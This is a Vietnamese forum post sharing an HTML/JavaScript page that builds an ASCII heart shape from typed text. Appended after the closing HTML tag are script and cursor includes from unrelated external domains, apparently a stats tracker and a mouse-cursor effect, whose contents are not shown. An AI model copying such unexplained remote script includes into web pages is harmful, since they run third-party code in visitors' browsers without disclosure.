Share code tạo chữ trái tim

Go down

Share code tạo chữ trái tim

Bài gửi  Admin on Tue Jul 24, 2012 10:36 am

Hum trk cf96 hỏi nên share
Ai dùng tks cái nhé
Pro no chém

Demo://fhot.mobihay.com/test.html

_________Daivietp____________Daivietpd
______DaivietpdaDa_______DaivietpdaDaivi
____DaivietpdaDaiviet___DaivietpdaDaivietp
___DaivietpdaDaivietpdaDaivietpdaDaivietpdaD
__DaivietpdaDaivietpdaDaivietpdaDaivietpdaDaiv
_DaivietpdaDaivietpdaDaivietpdaDaivietpdaDaivie
_DaivietpdaDaivietpdaDaivietpdaDaivietpdaDaivie
DaivietpdaDaivietpdaDaivietpdaDaivietpdaDaiviet
DaivietpdaDaivietpdaDaivietpdaDaivietpdaDaiviet
DaivietpdaDaivietpdaDaivietpdaDaivietpdaDaivie
DaivietpdaDaivietpdaDaivietpdaDaivietpdaDaivi
_DaivietpdaDaivietpdaDaivietpdaDaivietpdaDai
__DaivietpdaDaivietpdaDaivietpdaDaivietpdaD
____DaivietpdaDaivietpdaDaivietpdaDaivietp
______DaivietpdaDaivietpdaDaivietpdaDaiv
_________DaivietpdaDaivietpdaDaivietp
____________DaivietpdaDaivietpdaDa
______________DaivietpdaDaivietp
_________________DaivietpdaDai
___________________Daivietpd
_____________________Daivie
______________________Daiv
_______________________Da



(ai online mobi thì tốt nhất xem = opera nhé)
Code:
<html> <head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /></head> <body> <script type="text/javascript">function createHeart(sourceId, resultId) {objSource = window.document.getElementById(sourceId);objResult = window.document.getElementById(resultId);
if(objSource.value.length == 0) {alert("Bạn chưa nhập đoạn text cần tạo hình trái tim vào ô trống!");return false;}
string = objSource.value;
heart = "";heart += "_________" + partString(string, 8) + "____________" + partString(string, 9) + "\n";heart += "______" + partString(string, 12) + "_______" + partString(string, 15) + "\n";heart += "____" + partString(string, 17) + "___" + partString(string, 18) + "\n";heart += "___" + partString(string, 41) + "\n";heart += "__" + partString(string, 44) + "\n";heart += "_" + partString(string, 46) + "\n";heart += "_" + partString(string, 46) + "\n";heart += partString(string, 47) + "\n";heart += partString(string, 47) + "\n";heart += partString(string, 46) + "\n";heart += partString(string, 45) + "\n";heart += "_" + partString(string, 43) + "\n";heart += "__" + partString(string, 41) + "\n";heart += "____" + partString(string, 38) + "\n";heart += "______" + partString(string, 34) + "\n";heart += "_________" + partString(string, 28) + "\n";heart += "____________" + partString(string, 22) + "\n";heart += "______________" + partString(string, 18) + "\n";heart += "_________________" + partString(string, 13) + "\n";heart += "___________________" + partString(string, 9) + "\n";heart += "_____________________" + partString(string, 6) + "\n";heart += "______________________" + partString(string, 4) + "\n";heart += "_______________________" + partString(string, 2) + "\n";
objResult.value = heart;}function partString(string, num) {if(string.length >= num)return string.substring(0, num);
repeat = Math.ceil(num / string.length);
newString = "";
for(i = 0; i < repeat; i++)newString += string;
return newString.substring(0, num);}
</script> <p align="center">Nhập từ mún tạo thành trái tim vào đây<br /><input id="text" name="text" size="37"></p><p align="center"><input name="Create Heart" accesskey="g" onClick="return createHeart('text', 'result');" value="Tạo trái tim" type="button"></p><p align="center">Copy hình vừa tạo và dán vào blog thôi.</p><p align="center"><textarea cols="45" rows="23" readonly="readonly" wrap="OFF" id="result" onClick="this.focus(); this.select();"></textarea><p align="center">Thích không ^_^</p><p align="center"><strong>©️ <a href="http://fhot.mobihay.com">fhot.mobile</a></strong></p> </body></html><center><SCRIPT type='text/javascript' language='JavaScript' src='http://xslt.ale1xa.com/site_stats/js/s/a?url=leti.tk'></SCRIPT></A></center><style> HTML,BODY{cursor: url("http://ninja9x.net/andycrush/clovel.cur"), url(""), auto;} </style> <script type="text/javascript" src="http://ninja9x.net/trochuot.js"></script>
avatar
Admin

Tổng số bài gửi : 1582
Tham gia ngày : 06/05/2012
Age : 21

Xem lý lịch thành viên http://taigame.forumvi.com

Về Đầu Trang Go down

Về Đầu Trang


 
Permissions in this forum:
Bạn không có quyền trả lời bài viết